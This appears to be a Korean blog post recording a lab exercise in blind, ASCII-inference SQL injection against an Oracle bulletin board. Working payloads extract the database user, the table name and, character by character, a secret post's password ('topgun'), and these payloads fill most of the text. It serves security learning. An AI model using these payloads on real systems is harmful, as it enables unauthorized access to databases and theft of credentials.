Oh! JUN
데이터 추론 기법(아스키코드) 실습 본문
※ 목표 : 게시판 비밀글 PASSWORD 알아내기
※ 조건 : 컬럼 : 'PASSWORD' / IDX = 65
## 비순차적 찾기
1-1. 사용자(DB)이름 문자열 개수
idx=61 and length((select user from dual))=14
- 사용자(DB) 문자열 수가 14개라서 게시판 내용이 출력되는걸 확인할 수 있다.
※ 비밀글은 idx=63인데 61로 하는 이유는?
- 비밀글이어서 PASSWORD 없이 접속 자체가 불가능해서 조건값에 맞는 결과값의 참 거짓 여부를 알 수가 없다.
- 그래서 공개글을 활용해서 조건에 따른 값이 참이면 게시판에 있는 내용이 출력될것이고 거짓이면 오류가 뜬다.
1-2. 사용자(DB) 이름 찾기
idx=61 and ascii(substr((select user from dual),1,1))=67 | C |
idx=61 and ascii(substr((select user from dual),2,1))=35 | # |
idx=61 and ascii(substr((select user from dual),3,1))=35 | # |
. . . | ...CREHACKTIVE |
2-1. 테이블 이름 문자열 개수
idx=61 and length((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2))=8
- 사용자(DB)명(owner='C##CREHACKTIVE')이 'C##CREHACKTIVE'이고 컬럼명(column_name='PASSWORD')이 'PASSWORD'인 2열(a.r=2)의 테이블이름을 조회
2-2 테이블 이름 찾기
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),1,1))=84 | T |
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),2,1))=66 | B |
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),3,1))=95 | _ |
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),4,1))=66 | B |
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),5,1))=79 | O |
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),6,1))=65 | A |
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),7,1))=82 | R |
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),8,1))=68 | D |
3-1. 컬럼 찾기
조건에 컬럼이 PASSWORD임이 제시됨.
4-1. DATA 문자열 개수
idx=61 and length((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63))=6
4-2. DATA
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),1,1))=116 | t |
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),2,1))=111 | o |
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),3,1))=112 | p |
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),4,1))=103 | g |
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),5,1))=117 | u |
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),6,1))=110 | n |
PASSWORD : topgun
'웹 해킹 > SQL Injection' 카테고리의 다른 글
데이터 추론 기법(비트, ORACLE) 실습 (0) | 2022.09.01 |
---|---|
데이터 추론 기법(비트, MYSQL) 실습 (0) | 2022.08.31 |
데이터 추론 기법(순차탐색) 실습(feat. Burp Suite Intruder 활용) (0) | 2022.08.30 |
UNION-BASED 공격이 가능한 아이디 중복 조회 기능에 대한 공격 실습 (0) | 2022.08.28 |
ORACLE UNION-BASED 공격 실습 (0) | 2022.08.27 |